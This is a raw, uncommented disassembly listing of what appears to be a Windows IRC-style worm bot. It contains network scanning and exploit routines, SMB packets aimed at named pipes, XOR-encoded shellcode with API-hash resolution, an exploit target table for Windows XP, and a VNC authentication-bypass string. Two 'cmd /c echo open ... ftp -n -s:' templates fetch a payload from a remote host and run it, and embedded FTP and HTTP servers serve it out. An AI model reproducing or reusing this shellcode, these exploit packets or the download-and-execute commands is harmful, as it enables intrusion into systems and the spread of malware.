		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_4318A8	db  2Dh	; -		; DATA XREF: ___:0040B921o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_4318D8	db  2Dh	; -		; DATA XREF: sub_40BA56+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_4318F8	db  2Dh	; -		; DATA XREF: sub_40BA56+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431914	db  2Dh	; -		; DATA XREF: sub_40BACD+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431948	db  2Dh	; -		; DATA XREF: sub_40BACD+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_431980	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_4319B0	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4319E4	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431A18	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A4C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431A74	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431AAC	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431AEC	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B24	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B58	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431B8C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_431C40	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C48	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C4C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C54	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431CDC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D0C	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D18	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D64	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_431DA8	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431EA4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EBA
		mov	[esi+8], eax
		call	sub_431E6D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EBA
		mov	[esi+0Ch], eax
		call	sub_431E1F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EBA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E1F	proc near		; CODE XREF: sub_431DA8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E48
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E48	proc near		; CODE XREF: sub_431E1F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_431E57:				; CODE XREF: sub_431E48+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E64
		inc	ebx
		jmp	short loc_431E57
; ---------------------------------------------------------------------------


loc_431E64:				; CODE XREF: sub_431E48+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E48	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E6D	proc near		; CODE XREF: sub_431DA8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_431E85:				; CODE XREF: sub_431E6D+1Ej
		cmp	[ecx], ebx
		jz	short loc_431E8D
		mov	ecx, [ecx]
		jmp	short loc_431E85
; ---------------------------------------------------------------------------


loc_431E8D:				; CODE XREF: sub_431E6D+1Aj
		mov	edx, edi


loc_431E8F:				; CODE XREF: sub_431E6D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431E99
		mov	edx, [edx+4]
		jmp	short loc_431E8F
; ---------------------------------------------------------------------------


loc_431E99:				; CODE XREF: sub_431E6D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431E6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EA4	proc near		; CODE XREF: sub_431DA8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431EA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EBA	proc near		; CODE XREF: sub_431DA8+16p
					; sub_431DA8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_431ED0:				; CODE XREF: sub_431EBA+33j
		jecxz	short loc_431F0A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_431EDD:				; CODE XREF: sub_431EBA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431EE9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431EDD
; ---------------------------------------------------------------------------


loc_431EE9:				; CODE XREF: sub_431EBA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431ED0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_431F0A:				; CODE XREF: sub_431EBA:loc_431ED0j
					; sub_431EBA:loc_431F0Aj
		jmp	short loc_431F0A
sub_431EBA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431F10	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F62
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_431F2D:				; CODE XREF: sub_431F10+38j
		jecxz	short loc_431F5D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_431F38:				; CODE XREF: sub_431F10+32j
		lodsb
		test	al, al
		jz	short loc_431F44
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F38
; ---------------------------------------------------------------------------


loc_431F44:				; CODE XREF: sub_431F10+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F2D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_431F5D:				; CODE XREF: sub_431F10:loc_431F2Dj
		mov	[esp+arg_0], ebx
		retn
sub_431F10	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F62	proc near		; CODE XREF: sub_431F10+7p

; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431F7B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431F86
; ---------------------------------------------------------------------------


loc_431F7B:				; CODE XREF: sub_431F62+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_431F86:				; CODE XREF: sub_431F62+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431F9A
sub_431F62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431F8D	proc near		; CODE XREF: sub_431F62:loc_431F9Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431F8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F62


loc_431F9A:				; CODE XREF: sub_431F62+29j
		call	sub_431F8D


loc_431F9F:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F62
; ---------------------------------------------------------------------------
		dw 0
dword_431FA4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FB0	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FB4	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FB8	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4


loc_431FC4:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_431FCC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_431FCC	dd 0			; CODE XREF: ___:loc_431FC4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_432038	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------


loc_432044:				; CODE XREF: ___:0043204Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432044
		inc	edi
		jz	short loc_43208B
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320B3
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_43208B:				; CODE XREF: ___:00432051j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4320EA+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4320B0:				; CODE XREF: ___:004320DDj
		xor	[esi-25h], bl


loc_4320B3:				; CODE XREF: ___:00432059j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4320CC:				; CODE XREF: ___:004320FFj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320B0
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4320EA:				; CODE XREF: ___:00432091j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_432176
		jo	short loc_4320CC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_43210D+1
		add	bl, [edi]


loc_43210D:				; CODE XREF: ___:00432109j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_432122+2
		cmp	ch, bh
		dec	edx


loc_432122:				; CODE XREF: ___:0043211Dj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_432176:				; CODE XREF: ___:004320FDj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_4321FC
		sub	al, 0BCh
		jmp	near ptr 5445256Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432198	dd 0EFFFC481h, 44FFFFh,	4321E4h	; DATA XREF: ___:0040DC32o
dword_4321A4	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321A8	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321AC	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321B0	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4321C8	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_4321FC:				; CODE XREF: ___:00432180j
		push	eax
		xor	al, 29h


loc_4321FF:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_432208	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_43221C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322C4	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 4
word_433508	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_43350C	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437C70o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437C7Co
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4337F4	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43381C	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
